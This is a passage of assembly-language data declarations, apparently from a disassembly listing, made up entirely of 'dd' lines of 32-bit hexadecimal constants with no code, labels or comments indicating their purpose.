		dd 0A5FAFBCEh, 0CB0AC52Eh, 0F386828h, 89AD0061h, 0BC4E3405h
		dd 0BE681DFDh, 0EB1BC07Ah, 0D8A240AFh, 0A9C1FA12h, 97E98480h
		dd 2E4003Ch, 0B08D5465h, 600CD6Eh, 0E879C38h, 0E1E8F2Bh
		dd 95BAB620h, 36A42300h, 2C3AF410h, 96EA80F5h, 3C435BA3h
		dd 8224277Ch, 0E123D460h, 0F868EB00h, 0F4C40FCFh, 0D17F2538h
		dd 9076C50h, 2A46162h, 0AF507807h, 56869F8h, 235FF11Ah
		dd 0F7FAC190h, 3B7ED8h,	54EA39C8h, 1D00A020h, 0C0DE2113h
		dd 58A4364Eh, 5F0218C7h, 939F9AEEh, 0B5015074h,	0EBBF1BC3h
		dd 5C6E22E0h, 5600E317h, 6130A321h, 0B0003B41h,	0F9E882CEh
		dd 0F4881E5Bh, 0F52F00B5h, 0C2713CE0h, 0CD0912C1h, 7826CCh
		dd 0FFAF07C4h, 0F44000EEh, 0C4EF79B4h, 4A75E4F9h, 20AEBF24h
		dd 71293B83h, 182DC9EEh, 802F47E1h, 2C21EB34h, 8F1D5F00h
		dd 814E1B76h, 3CE027Ah,	4771B179h, 0F2008452h, 6090C8C6h
		dd 3A0FB554h, 928F9A3Ch, 2A0266Ah, 4BA2684Eh, 0CF121D00h
		dd 1924B617h, 0A009199Ch, 7033B870h, 75608215h,	4C93A3B8h
		dd 20140012h, 0A9ABC5D9h, 1E4E4866h, 5FA2A0D0h,	7D350C4Fh
		dd 13A9E3D2h, 0CF7C9100h, 5B2025EFh, 729B1649h,	76620C1Fh
		dd 6D21B5B9h, 1853034Bh, 0D7D07DB6h, 462882B3h,	2045184Dh
		dd 489BEFD4h, 4B0ED7FFh, 0C9002952h, 927B96C6h,	0CBD36304h
		dd 2C924307h, 0A53CD65Eh, 93518880h, 0CB704F6Eh, 4000D5EEh
		dd 0E05E7F82h, 0F2DAECC8h, 2679251Fh, 0DE001478h, 2C7D23D9h
		dd 9B19248h, 38743A5Dh,	8ECC2C01h, 2C251064h, 31980E2Dh
		dd 8987E694h, 6A3F400Ch, 0EC136086h, 1000697Fh,	0A06DA444h
		dd 0EF7412A7h, 9E80C037h, 0C4072A0Eh, 0A439C022h, 0A2839F8Fh
		dd 0D28AC604h, 1DE4D6BCh, 0A4A98F4Dh, 0A59749A0h, 0EF035153h
		dd 2354558Fh, 3101A869h, 771800E8h, 0C038DB21h,	0D90949CAh
		dd 8005ECEEh, 5DF2A060h, 0C6F9012Bh, 0A24A065Ah, 0A4073F26h
		dd 25B19EB7h, 787188F6h, 3D712830h, 6B1EE7C9h, 95AC79EAh
		dd 0C3400268h, 6360AB77h, 0A0003916h, 80D35EE0h, 0A025CB87h
		dd 3BE701B0h, 908023B7h, 3345739h, 0A500D3CAh, 7B8D77A9h
		dd 60FF21AEh, 0DD9E98DFh, 530019CBh, 93E236F0h,	0FC0DA6h
		dd 57C72ABDh, 9C6C51F9h, 8096E43Bh, 251A583Dh, 2C60294h
		dd 0B9215FB3h, 0A4C03A79h, 9C00C75Eh, 0F93CEA37h, 70D968B5h
		dd 2FEF0092h, 0DF57A0Ch, 2E0076B1h, 6CBBCE10h, 5F6A3EEh
		dd 0E9B8DC30h, 9738845Eh, 802615FCh, 2D4D8D64h,	9CCDE600h
		dd 49075BEAh, 93080E9Dh, 4821C109h, 2E1A56A3h, 0BB1BC4C0h
		dd 0ACBA26F3h, 32D050Ah, 8340D0B1h, 405223Ch, 9DB7E6CAh
		dd 0B96BCB00h, 9DBBE794h, 0AE8C3443h, 13914000h, 12CA96FAh
		dd 0CC5DFDh, 0C3F62D80h, 4F609327h, 50ECB448h, 17DE03D6h
		dd 0DB70E94Bh, 0B3E08BFAh, 9000040Ah, 2BA8E3CBh, 0B9F9D06Dh
		dd 0F2013C50h, 0A4D489Ch, 96F08065h, 0CFF4B1F0h, 1E45003Ah
		dd 0A9C253C5h, 33077219h, 7101A54Bh, 0A023CA40h, 5D280E69h
		dd 563DB1A7h, 4A800219h, 6C409D96h, 0C500D3C7h,	3FBC519Ch
		dd 9D6EEDCh, 0E38DBB11h, 5884EA0Bh, 4BFC8C2Ch, 1707258h
		dd 0D4287624h, 4DF08141h, 13580FB0h, 0E8EEF0DCh, 1E22948Eh
		dd 38E0128Ah, 0D8B67CF7h, 90B3E717h, 0A8F84001h, 2C500FB8h
		dd 113F1F1Ch, 65E27400h, 1AF7FD3h, 14884206h, 607734CCh
		dd 0BF00665Ch, 336A55C4h, 11E5FB5h, 0C8E62110h,	0B9571CFFh
		dd 445848h, 2325937h, 5CD2DABFh, 6B07D4AEh, 4C3366BAh
		dd 0CBED311h, 93D45F60h, 0CF1A2539h, 0D49C5461h, 0F5008B65h
		dd 0EA4A5849h, 0C0EB48Fh, 30C414FFh, 0C8003AECh, 0CD69E50Dh
		dd 224A312h, 7901AD5Bh,	3C561856h, 138058A7h, 894374h
		dd 0E506940h, 4F01A3D7h, 871146Ch, 883A4CB1h, 90441054h
		dd 1D0E0086h, 40BFCDC9h, 7006B10Ch, 683661B5h, 1DC80011h
		dd 57DA58DDh, 78003303h, 35F523C7h, 0B8F142ECh,	9AD117D1h
		dd 50C4A565h, 0FDCFDEC0h, 0C3080328h, 10155D7Bh, 72D8EFACh
		dd 0CAA49894h, 26AE4800h, 4B5EFC02h, 3550A0DDh,	5BFB0309h
		dd 887E55h, 0C6AAFDA4h,	5EEE690Fh, 0C101A80Fh, 0F94D60B3h
		dd 983AEFBDh, 0F24001CCh, 81B42EF0h, 2A06278h, 5A8E9BDFh
		dd 621C5E31h, 4C79303Eh, 987F8960h, 0A35500A5h,	9734245Ch
		dd 3303771Eh, 0FB29F843h, 0D2528770h, 70FC6Dh, 1C23F2CBh
		dd 0E907BB66h, 3B776358h, 0C9188059h, 0F2843062h, 962909C8h
		dd 0F4617DBCh, 0E4206B36h, 755A7Ch, 23C05D2Ch, 0F1F30249h
		dd 0E71FCB00h, 3AA48F8Bh, 53890069h, 9AF658D6h,	0FA0201CEh
		dd 3173454Bh, 34237703h, 98B05ACCh, 1909FCCBh, 26D79AEh
		dd 57D70358h, 0C142F483h, 0D0FA8BA0h, 0A7294116h, 0E66D2F1Dh
		dd 0CCE880A8h, 3814077Ch, 0B0BD4A73h, 0CD0F9CA7h, 0F08C092Eh
		dd 0E0A55C00h, 696766h,	314A8597h, 0FC734746h, 99A83D00h
		dd 4B5A0174h, 37DE0033h, 634F8171h, 0F05CD5Ch, 58EBD4F5h
		dd 1A5400ABh, 82C7BDD7h, 0B0727630h, 97C9C409h,	2F5CA060h
		dd 0CA00C1E0h, 0CB074D8Bh, 0BB4B2EBh, 826387Fh,	0B5F1AC90h
		dd 4C047800h, 0D10C24A0h, 1D53F29Ch, 0C0D32243h, 5FAD8EBBh
		dd 65009966h, 0C0ED6964h, 9BF8CB1h, 2A512FBDh, 0AE80187Ch
		dd 649A530Fh, 5A420010h, 0B8C8A3A5h, 0B377DF8Eh, 73B7CC00h
		dd 13488C5h, 0A48B4C36h
		dd 10B96C00h, 4E15DD25h, 0A38CBC00h, 301F229Fh,	83E3268Ah
		dd 31514480h, 6000986Fh, 0E316EC32h, 3C00F6FFh,	0E6B3F880h
		dd 0BA5D01E9h, 98E2A941h, 0B0E83410h, 0A238C8B5h, 424E81h
		dd 0EE33C324h, 3F247D82h, 0FE04501Dh, 0B8D8477Ch, 0F09E409Fh
		dd 8DE14103h, 4A8F64AAh, 2CDCE0B0h, 0C302A900h,	6762FB5h
		dd 8E7F3113h, 303B6720h, 0C700E734h, 0AD8F082Dh, 67919A1h
		dd 0D30EAB97h, 8F9E8AAh, 458B065h, 0C9ED2D50h, 466CF0B7h
		dd 0A307EC00h, 641CE27Ah, 0C3521FDFh, 0E8D180A8h, 804144A7h
		dd 5F07549Ch, 0C8C29554h, 16472B9h, 728646EDh, 6C0AD51Bh
		dd 878B3A84h, 716C3DE4h, 0D364FD0h, 8838046Eh, 80A44793h
		dd 2478CD75h, 0B91B5607h, 8720B492h, 0AE1A1Dh, 0A8959434h
		dd 0B29E5497h, 0FA5B8C16h, 7FF8CCE1h, 0EACB12D8h, 208FC69h
		dd 6481BC8Ah, 0A504C0A8h, 0C990040h, 2685E9F0h,	0B20FC074h
		dd 0AE76152Eh, 0CD3EE080h, 706498C7h, 270F6B4h,	0A1F79435h
		dd 20D5785Ch, 0F1246A64h, 0F9C401EDh, 7C5B7AF4h, 0FBC2D472h
		dd 3F74F200h, 0D5F87678h, 75F302FAh, 0F6707E59h, 7D441080h
		dd 0D800F771h, 484FF0FDh, 4ABB5427h, 5EA0F4B8h,	0F70032B8h
		dd 49DE4EC6h, 60380A64h, 82FB8176h, 4297B52Eh, 0C8077508h
		dd 34D9475Bh, 0B845AFEBh, 2804D1BBh, 0EEE265Ah,	0F9872E10h
		dd 80FC4A7Eh, 539636A3h, 6D03F49Ch, 7BDF2F10h, 0B9B3E0D6h
		dd 0E6821232h, 8808E867h, 3359B0ABh, 3F3BEB5Ch,	40321264h
		dd 4210FCBCh, 0C0DF305Eh, 0A096F8E3h, 510338h, 0BEF59088h
		dd 0C2B3C4A8h, 0F4013EF8h, 0B23A3663h, 902E5789h, 230A9104h
		dd 8F007177h, 753F76B7h, 97655Fh, 0AC849026h, 14337E1Bh
		dd 0B90E8900h, 2DCB36FDh, 7B59030Ah, 0C97AAE8Dh, 9B577CE8h
		dd 7D418B03h, 0B0ACC593h, 333060h, 0A4849F31h, 224A9A3Bh
		dd 80357300h, 0D03A2590h, 39643F0Ch, 51848981h,	0C01AC9F1h
		dd 22051D9Ah, 741B4C47h, 603685C0h, 406E4F52h, 0C580C0E4h
		dd 0F700663Fh, 0AD2422EFh, 0A526F2Bh, 0DED0E2E1h, 8BA580A0h
		dd 0C95051C3h, 5AEDEA1Eh, 5CA26507h, 1C6AB573h,	4622D450h
		dd 617A80DDh, 41C0D17Fh, 0FF89FA9Dh, 0B87700CAh, 6BB07BF3h
		dd 661CA03Dh, 3EC30476h, 3EE5D12Ah, 2700DF31h, 0AB33DE50h
		dd 0E8002B21h, 4B80F8F5h, 181AA555h, 6974538Ah,	9E00787Ch
		dd 5C4FCCDAh, 503C8Eh, 0FBEA8525h, 725B44ABh, 0F420E00Fh
		dd 5F7400B2h, 3C387790h, 24F2F95Ah, 30D9E22Bh, 0DAFA2DB9h
		dd 305CFC88h, 0C2698953h, 0A97A9BCDh, 15727000h, 0AF71331Dh
		dd 10960289h, 2E61EAEBh, 0B19DFA60h, 6BB3BB01h,	5C849B63h
		dd 2DF023C0h, 9CF94B28h, 92BE013Ah, 8C5280B2h, 21D470E5h
		dd 30CB0027h, 9A45F1A5h, 0BC00BB11h, 98E4A4E6h,	870BDE2h
		dd 0AA8A94F9h, 3DB72505h, 58DC00BFh, 0EF0AD066h, 62CAC900h
		dd 5996D427h, 93231D16h, 64710C75h, 6C469D11h, 28709F02h
		dd 9C207648h, 0C01D2275h, 39441141h, 4A610F5h, 2E4BA91Ah
		dd 0C4594110h, 601191F0h, 1A1521FAh, 0E303604Bh, 7635A8D3h
		dd 5108301Dh, 4B21B651h, 932D413Ah, 65000E83h, 9BD667EAh
		dd 0FFFB3F53h, 0A6E7C401h, 0A42A6932h, 6F003779h, 5235864Ah
		dd 2D5400F6h, 0A6B8A421h, 71E5A70h, 0A9F1A9F9h,	52E42A34h
		dd 0D0D800DBh, 0EB1D4BE1h, 9F00AAA1h, 0B44F31BBh, 50CF2A8Bh
		dd 603E6C37h, 5680E15Eh, 8E08B699h, 0DCC0F7D0h,	0D536B50Fh
		dd 0D3850022h, 3065CAAFh, 57A18DD8h, 51C1FCACh,	0E1FF6C2Dh
		dd 80A56891h, 0E35C4B26h, 4D448C33h, 4B2D00BAh,	0F5DAD609h
		dd 913065F6h, 0F83C6146h, 69611842h, 2D7EE12Fh,	0A6704700h
		dd 0DA5A7824h, 769867h,	133254Ah, 442F62F2h, 583E5E15h
		dd 0A7701F84h, 0CD89D500h, 6691FA55h, 21630895h, 0F29FD301h
		dd 0DA67E425h, 4F91C4h,	0B4091F7Dh, 0CC362AC0h,	0A9DB920Ch
		dd 81998Fh, 0D1BA146Bh,	0FADCE3C7h, 131D9000h, 0A92A39EEh
		dd 6429C788h, 926905Ch,	5D191A8Eh, 630875C1h, 952193h
		dd 79B9CA7Dh, 0EF78E647h, 5730FC00h, 0EA32A2F6h, 9A129F8h
		dd 186D712Ch, 0E3D800E1h, 0BF795C82h, 70FF2A83h, 8960DDF6h
		dd 0E6E9C429h, 67C8Eh, 0E1C132D6h, 0BE55F2C2h, 0B019C78h
		dd 0D56BBAFBh, 0C043F66Dh, 6C21A193h, 59C8A0FAh, 39E9813h
		dd 883D27B0h, 8301FB8h,	2B78211Ch, 2D550E98h, 0A940AF23h
		dd 9FE68BA0h, 2963000h,	8AD3C4B2h, 8EDB0001h, 4A719718h
		dd 431898CCh, 6BA847BBh, 512E6109h, 56137B26h, 0C9DF98DCh
		dd 1632B200h, 92D6B457h, 49C37C3Ch, 2080449Bh, 23E35A4Bh
		dd 0BC4E448Ch, 44B2700h, 8DFDA7D4h, 40310043h, 0DF6C0EBAh
		dd 951ADB53h, 4B1AA02h,	14602684h, 0B023A398h, 1A110Fh
		dd 0E8982C7Bh, 7450120h, 4ADCF2E7h, 1202E33Ch, 0B8D58003h
		dd 0D36B41ADh, 80D07CA1h, 46840FDEh, 4B190294h,	311BE361h
		dd 7FB51354h, 0F67501F0h, 0DE8FE260h, 1566F90Eh, 0A0E75B0Eh
		dd 91729C81h, 99C9006Bh, 5CF1ED0Dh, 0D90938ACh,	1D606EEFh
		dd 816C11A8h, 3A02AA41h, 30698041h, 0E8C8450h, 0E7AC1D90h
		dd 0F73D41DFh, 325A9565h, 50B22828h, 87F93E6Fh,	3FC7BD9Ah
		dd 0C15F4BB3h, 9042967Bh, 8D40D6Fh, 58C9F90h, 0E3964BFCh
		dd 20F83803h, 0F94B2403h, 1BC02F3Fh, 898AAA20h,	0F8AF5A88h
		dd 0E8049704h, 0F094E6C4h, 382AD80Ah, 6504676h,	230C58FDh
		dd 47440C0h, 8C9608F3h,	634B1F05h, 0F0382BE3h, 0AC98BBh
		dd 5CC2368Ah, 46EAE798h, 822EB1C8h, 0B938B039h,	9B31E4A0h
		dd 0FC6FA6AAh, 0E9491B78h, 6AE1F71Bh, 50AD3830h, 8C62F8A3h
		dd 113FF2F4h, 5922C68Ah, 0F29B1707h, 0FC01E8C5h, 0D8333653h
		dd 0B1780F00h, 3C3E6B14h, 2609D201h, 0C1D1FCCDh, 0DC21D7E8h
		dd 916A9829h, 420BF343h, 80D63E22h, 0A036460Fh,	0D267007Bh
		dd 0FBB60AAAh, 0F91C553Fh, 65C35379h, 48383CDEh, 26239448h
		dd 1A44601Eh, 0B8676E09h, 0A068818Eh, 341213EFh, 0C4EB0080h
		dd 0AC453BD8h, 0B648F270h, 0C7688880h, 8A13E199h, 8965189Dh
		dd 5F2E4D1h, 5312220Fh,	80FE0E86h, 0AA5496DAh, 3EE9C665h
		dd 0BF06310Ah, 9A02B4FCh, 12781E84h, 6C1B1ED3h,	6EC316ECh
		dd 623FDCh, 61E9570Dh, 5CAF9D2Bh, 0F4484634h, 0B81A313Eh
		dd 0FC4051FBh, 0DC3E16D3h, 50B92820h, 2827253Ch, 680114AFh
		dd 1498A442h, 8030D619h, 177E8C2Dh, 0C7B0A208h,	401E643Ch
		dd 0CE980F74h, 660E2DCh, 3D213857h, 22464842h, 0A797D802h
		dd 2331AFB0h, 98987713h, 0B32CEA58h, 0D50527B6h, 4880E6Bh
		dd 6C111404h, 14700808h, 5875977Ah, 8C1AB8h, 712B509Eh
		dd 9A8CC259h, 7C264D0Bh, 9401114h, 0BC1DFD08h, 6826BB89h
		dd 69185211h, 0DC412131h, 0AD219C00h, 0F89A878Bh, 586148A4h
		dd 0D2C2B23h, 66123D2Ch, 75865838h, 52A6166Bh, 9CEC003Bh
		dd 0EF995191h, 56C9B019h, 20192C50h, 92920ADh, 5911285Eh
		dd 8262CB1Bh, 0F0A204E8h, 0DE3126F0h, 8AA9E115h, 3AF00F13h
		dd 0ED260B7Fh, 4674105Eh, 0DAE90262h, 495D10B2h, 0EEE8CF30h
		dd 0D785006Ah, 86E197A6h, 98A8336Eh, 0CF005814h, 24597291h
		dd 386713B0h, 44DD6932h, 0DCE20102h, 74608866h,	0C407C2A4h
		dd 4684F921h, 0DB96A2D0h, 24D27B8Dh, 5A4019Bh, 6921D5h
		dd 0C69E4D30h, 8AFA46C9h, 0EBC33Fh, 0DB800519h,	4CEFC430h
		dd 3B2250B1h, 3245B301h
		dd 0D199B4DDh, 5C315087h, 128C7011h, 0C4FFAAEAh, 9202B9A4h
		dd 0E0B0A15Eh, 46A0C6BFh, 0F29C0269h, 31958A12h, 94D01164h
		dd 2BC270h, 8402C519h, 0AA6572A2h, 33804094h, 0BE12D499h
		dd 94330D9h, 73D06639h,	0E8FC405h, 980D9ED2h, 0CFD9C12Bh
		dd 3C9B59FCh, 780EF51h,	0A65F3D98h, 0E801DDE1h,	0A8FED87h
		dd 7071C3CAh, 21A2F463h, 3C360D30h, 0F297DBB6h,	586EC0h
		dd 0C460868Ah, 11229A57h, 651025h, 0B11DD1FBh, 1B81B8h
		dd 678FBCA1h, 0A4D59C61h, 8C769905h, 88198D7h, 3C003947h
		dd 712838B2h, 1158C4B1h, 0E0242C7Ch, 0FB629A64h, 0BE330E0h
		dd 4F4450A4h, 4B23021Fh, 4C55194Eh, 0B804D066h,	4A394111h
		dd 21243CC2h, 546BDD26h, 0E8A2CCh, 429EA3E4h, 0E29046h
		dd 2A9DDBCEh, 438B9573h, 8584AA5Ch, 0BC202969h,	7AB979h
		dd 42561CFh, 950A4682h,	0A2608A03h, 31AEC36h, 40FF5A1h
		dd 0B1F8ED86h, 0C42EE42Dh, 0F99304FEh, 0AFD74420h, 84C91F36h
		dd 4909BA34h, 6068E4E1h, 0A0E6183h, 20AA5BDCh, 0FC351630h
		dd 38D01F4Eh, 29F619DEh, 0FE4F033h, 0DB49F4E8h,	32E6831Ch
		dd 2930C26Ch, 26A1420Ch, 0EF9F3E01h, 0CE6E68EAh, 2AD46EE2h
		dd 0EA7C4FE2h, 0FCA2008Ah, 2CC7F7Eh, 53003E93h,	0D3376327h
		dd 374972Eh, 0D96E5F6h,	7BE18EC1h, 808D4454h, 177A0310h
		dd 0B8CEC807h, 0C2531342h, 0BFEA8822h, 9C2600C7h, 0C13366AAh
		dd 3274F5DFh, 0E5B9F807h, 6D259843h, 0D6EAA840h, 0B201FC90h
		dd 0DD301F48h, 0A1C58A1h, 8001797h, 3690D051h, 0A0C170h
		dd 3825C394h, 527B796Dh, 480AE43Fh, 1E3722C4h, 0FB5005D8h
		dd 0EA21DC00h, 3AF45B8h, 6C5EA700h, 8C7C0807h, 8BC9000Bh
		dd 0CDEFC126h, 66631572h, 7C8C7E0h, 2F5AFE18h, 42B2D2FBh
		dd 0EA7A1458h, 0C0364400h, 37EE49BEh, 86DB0099h, 5C5093Fh
		dd 0AD069A6Dh, 0E2792FF3h, 52B23818h, 0B0C40180h, 5393D0A4h
		dd 0FFBEDB00h, 921F66CCh, 185E78B8h, 30648467h,	40749D43h
		dd 3E74DB0Eh, 78F88086h, 781FFh, 0F4D84A6Ah, 0AC964373h
		dd 0E1020508h, 8986830Fh, 7948BE29h, 7EC30711h,	7AC11126h
		dd 1880870Ah, 7F5BF1C6h, 9A0051A3h, 0ECEB6056h,	0E8B878h
		dd 3D83B940h, 452C9FC5h, 6D34AB1Fh, 0EDA1C2C0h,	0F80D0Bh
		dd 952FF65Bh, 71BE42DCh, 7B77371Fh, 89A341CCh, 5FC500CEh
		dd 0CD4201E5h, 0A800AC9Eh, 9351489Dh, 28351817h, 1D0D7DEh
		dd 7328453Bh, 81954A2Fh, 0D64E5EB0h, 35CCA2ACh,	5B080004h
		dd 5FA6F390h, 70F04495h, 0E3C1F60Fh, 53C3C1AEh,	4230D02Ch
		dd 59342A0Bh, 5F300684h, 11319468h, 0A9033777h,	6684A369h
		dd 4CA83D89h, 6D75ED00h, 8E304B8Fh, 0A08AFB00h,	46117F58h
		dd 42700080h, 1C6D37E3h, 4032421h, 774AC630h, 5307F14Bh
		dd 0FA342980h, 5F214F33h, 67FEFF00h, 0B67C2A41h, 804403DDh
		dd 82C1623h, 0AC094980h, 14A1B800h, 626EAF8Dh, 0A9B90036h
		dd 86B00560h, 173A0C69h, 16D41D72h, 0FA0D4200h,	0F83424h
		dd 5626D3Eh, 25DA110Ch,	1C9091E0h, 0EA14B903h, 0F39AA6C1h
		dd 29BAA080h, 23D9184Dh, 24B21001h, 94C1B309h, 164B817Dh
		dd 0D1C00669h, 44AC0008h, 496B2B47h, 800E2D53h,	0C08E5210h
		dd 5462723h, 1B1E1BF9h,	0D07C1184h, 52433900h, 0A6D90371h
		dd 4108C033h, 0A2E76035h, 0D0CA311Fh, 0DECF9F00h, 9D334FAh
		dd 0C9A34DEDh, 0DB798580h, 10C056E5h, 64ECAFDDh, 73A80310h
		dd 953618BEh, 323DDF90h, 0EE20400h, 54D9C972h, 0ED251E9Dh
		dd 0D2F901A6h, 0D3CFA14Ah, 8DD367C7h, 14DDE030h, 0DFD0311Dh
		dd 98DA720Ch, 21DB0C77h, 20CC35ABh, 43D64A2h, 0B883E177h
		dd 0FB10802Ah, 441C228Dh, 0EA16001Dh, 26CE0604h, 3D7E1ADAh
		dd 203980FFh, 0FBF75442h, 6A6E07A6h, 466D7703h,	0DCE321ACh
		dd 9A00DD54h, 7A6CC82Ah, 176E5868h, 0BC90218Bh,	330F00A1h
		dd 750DFC47h, 0BC545D07h, 8DE24300h, 26CDFDCFh,	0D9A1E607h
		dd 94C0238Eh, 0D6020F81h, 93D00F90h, 0DC7073BEh, 69B96DE8h
		dd 6E66D1C0h, 0B8AE47E1h, 9B0E19B8h, 87136844h,	0E137E821h
		dd 7679970h, 0F8D8064Dh, 0F85FFBB5h, 0C41473Fh,	1031568Fh
		dd 7B20034h, 8128EB3Eh,	7B0A2726h, 0A083D9EDh, 365C8580h
		dd 8913D1h, 0C6319F59h,	0EABA1DC4h, 2EE51600h, 538C791Eh
		dd 9E050C26h, 39587073h, 0D83D400Ch, 0E874910h,	1A47CD21h
		dd 941C2480h, 9AE82734h, 0D7CE21C1h, 61C0F7C2h,	1B351820h
		dd 0FB75D14Bh, 0D2E82E54h, 0C6316C60h, 2359755h, 6284FE64h
		dd 5F7008CDh, 39832931h, 0B2101CF9h, 22002A03h,	76D0F5Ch
		dd 30E7407Bh, 59211A87h, 5B183611h, 31024FFh, 68B40C4Ah
		dd 9A58CEBBh, 250609C6h, 41630020h, 95A957B4h, 0C9287F0h
		dd 0AE5FB0Ah, 1C008045h, 0D339F8EAh, 58E01E26h,	30D4B911h
		dd 69B40445h, 3114A6BBh, 5C001209h, 0B300A7E0h,	1F9D669Bh
		dd 0A179EA86h, 5C418C34h, 885016EBh, 3E7FE9AAh,	859D2DA2h
		dd 896A41E3h, 8368BA8Dh, 29EA5290h, 0DA2000ABh,	893F3BFAh
		dd 164083ADh, 0DB81188Eh, 0AF80B02Ch, 43C9A48h,	0ADF1FD24h
		dd 0CCE96880h, 2A883ED9h, 31A31A03h, 0B11D9AD8h, 0F7062859h
		dd 8120772Dh, 18EEE4A8h, 6A08B44Ch, 66093EBBh, 6100410Bh
		dd 725AB443h, 7F1162D9h, 0C3FE7C3Bh, 0E0257378h, 263040C9h
		dd 0CD1E0128h, 27291A42h, 0E789880Ch, 0F9C0E0h,	87F7163h
		dd 0EB96CB95h, 97AE1A06h, 62A8706Dh, 561890B8h,	7E20045h
		dd 4DB11812h, 3CB9C51Dh, 31893580h, 683D93BBh, 12A0B8ABh
		dd 6FDC6046h, 0AE7D4AE1h, 2F58448Ch, 0B5E13200h, 1B335C93h
		dd 2619C76Ah, 4249678Ch, 0FCA3355Bh, 0DA0AEE2h,	4F07D1FCh
		dd 6049B5A8h, 1653330h,	5839CF83h, 0B91C3118h, 75B9700h
		dd 73AEC368h, 84FD1C99h, 7960CFCAh, 4223D9F8h, 31F77C15h
		dd 133A00F4h, 0FEFC27FAh, 1D426E1h, 95E60A50h, 803211C8h
		dd 1A48CD2Ch, 222543D9h, 0E2D10F8Bh, 80BDBBC2h,	955CB060h
		dd 31006AA0h, 27B7E625h, 1D41BEB2h, 0DF77A91h, 91782A14h
		dd 25803168h, 0C11A43CDh, 0EA86448Ch, 0A1CD1B0Eh, 0CC2AA0B9h
		dd 50C44AD5h, 9B10D9h, 9F9AC5F4h, 0A21FDA76h, 0FFCA3B07h
		dd 0B850EB2Dh, 289799D2h, 3806E95h, 3D3532B3h, 2EE1EDE2h
		dd 586BF412h, 0F5AC3B54h, 0D0C83201h, 6E22C678h, 0D08549E9h
		dd 301E0AE3h, 9088BDC0h, 0CA0070E0h, 6D309A0Ch,	0C8CA1C8h
		dd 436EE295h, 38605668h, 67E72431h, 0EB9A0FE8h,	0C13E8829h
		dd 8BADF8F5h, 560646Bh,	0E9B40B48h, 0ED1A30CAh,	0E87C6800h
		dd 0D21E0E2h, 0B7F109E6h, 9C871D46h, 1014A407h,	2B21B930h
		dd 8F513010h, 0E3350019h, 32631C3Ch, 2578BDB9h,	0A580EE8h
		dd 8CABE8B8h, 92EC6839h, 0CC02DDEDh, 407DAA63h,	28FFA3B4h
		dd 12D87A79h, 202E1B34h, 0A76BCE9Ch, 7041840Bh,	58500C47h
		dd 867B0BD2h, 882309F6h, 98EBCF7Ch, 83FA4101h, 1A1FAAE3h
		dd 39184980h, 6AD8E4E6h, 38D9A700h, 0C064D74Ah,	88770289h
		dd 4216F771h, 22DB1441h, 47CF00A4h, 762BD8DFh, 6318FC13h
		dd 3D36511Fh, 682AE4C0h, 0F50A1890h, 885A1ADBh,	995445C3h
		dd 76189EFBh, 6C4188h, 1429A554h, 6940EA1Bh, 0ACA7307Dh
		dd 0FE607444h, 50E7E5F6h, 1B8B2288h, 13637F7Bh,	0E56A2C10h
		dd 6808B112h, 0E1AFCE6Ch, 170CAEC2h, 0ED116219h, 7D1A3036h
		dd 0C6F2A000h, 0CBA5AC48h
		dd 0B78C0525h, 1AF861Bh, 5B05FBE0h, 73609189h, 49E16881h
		dd 7459ACAEh, 0F330650h, 0A86A24E1h, 54E083FDh,	21EEBA5Ah
		dd 0A05F2F00h, 9DFB99AEh, 46B82E06h, 8037914Ch,	1A45CD27h
		dd 88448C91h, 0C2E500D0h, 0FBC978EBh, 1A07A36Ah, 1D03A8BAh
		dd 109FAD81h, 40D5C824h, 58431808h, 6EB44801h, 0C149EBBh
		dd 5D25400Fh, 0CDB43F01h, 0AA2203B9h, 1BC7B464h, 0C9761EFEh
		dd 474FB5B8h, 0DEAA7007h, 597032BAh, 0A290AC8h,	8302FFC6h
		dd 62465C9Ch, 0A313DC00h, 34FD0535h, 0C667D903h, 46E170Dh
		dd 17597F9h, 595CA0CBh,	0F7860B9h, 5A068625h, 830E6821h
		dd 0C18AA1D8h, 9AC64D2h, 1C33CD7Ch, 0C1758C11h,	3A24341Bh
		dd 798E4412h, 0BD35447h, 2AFF0580h, 8C763963h, 0AC003F4Ch
		dd 18F547A3h, 2F55E3B7h, 0E40861C4h, 0E800E9FFh, 0F026CDFEh
		dd 2425436Ah, 42D0AE79h, 0CC407034h, 75881A90h,	1CACB9FEh
		dd 11C86649h, 37B8003Bh, 0F42BD20Dh, 0E8F05CB5h, 0C059DF10h
		dd 0BB6FB44Bh, 0B448C36h, 0B43E0376h, 1A7AB765h, 566BB9A0h
		dd 605C2326h, 28E42980h, 1893AE81h, 195D4805h, 98A07E71h
		dd 0DB74C424h, 2F46A56h, 0AE2EE16Bh, 105D313Ch,	7E130DBh
		dd 5C7E3B43h, 4E7B2525h, 0B7E0BFA8h, 66D9051Fh,	0ACA45D1Dh
		dd 0E73932D8h, 6E090945h, 157106Fh, 11052FFEh, 81000472h
		dd 26D338F7h, 6A288DFBh, 180CBC4Eh, 18321382h, 79CA45Bh
		dd 0D045CE2Fh, 9F7D1048h, 0CC089122h, 211FC25h,	5BABD233h
		dd 7F13BCA0h, 50C36602h, 818E17h, 0AA8C7DB1h, 76A2CDEAh
		dd 30563618h, 2D3161h, 4DABAF32h, 0EFB22103h, 0B09AA31Fh
		dd 0E260DEC1h, 0B030CB23h, 4B028C44h, 6EFB1E54h, 10A8196Dh
		dd 547343h, 26E8163Ah, 0DAEF1B6Eh, 85301949h, 9840281Fh
		dd 4088D07Fh, 4DDEF0C2h, 570A9CCEh, 454F970h, 0CD354373h
		dd 2408BDFCh, 0AEC138FAh, 7870DF84h, 20028C36h,	0F91A44CDh
		dd 17891927h, 3B2016E7h, 0EED0DDB1h, 797414CCh,	1C0520A3h
		dd 0C017F3B2h, 0D79DFFDCh, 0D2A086E7h, 1AF178AFh, 3114BB79h
		dd 0EA899460h, 0B36044ADh, 53361Dh, 881484B1h, 2408D0FFh
		dd 0BC8C564Ch, 3A27432Dh, 8438ACFFh, 0F158124h,	24BA38C0h
		dd 0E302342Fh, 0A7F6B93Ah, 0E0EEE2C4h, 642C708Eh, 4950393Fh
		dd 0F7AFEC02h, 6850140Dh, 9C7E5AA1h, 1F80DCF9h,	0E0FD92FEh
		dd 37D01210h, 0D0D1CF5h, 583E97h, 4A1798Ch, 394A549Ah
		dd 8323482Eh, 0C81EDB09h, 0A6DA68h, 4670899Ch, 0BA40F856h
		dd 7952B203h, 0B05C3C88h, 0C499DDCFh, 0C4F526B0h, 0B224A2F0h
		dd 33CE3013h, 4538E476h, 6E9F0CC8h, 1F76210Ah, 70D69C79h
		dd 727AD210h, 0D9E088A8h, 2B90F60h, 77656AA7h, 0A1E603D8h
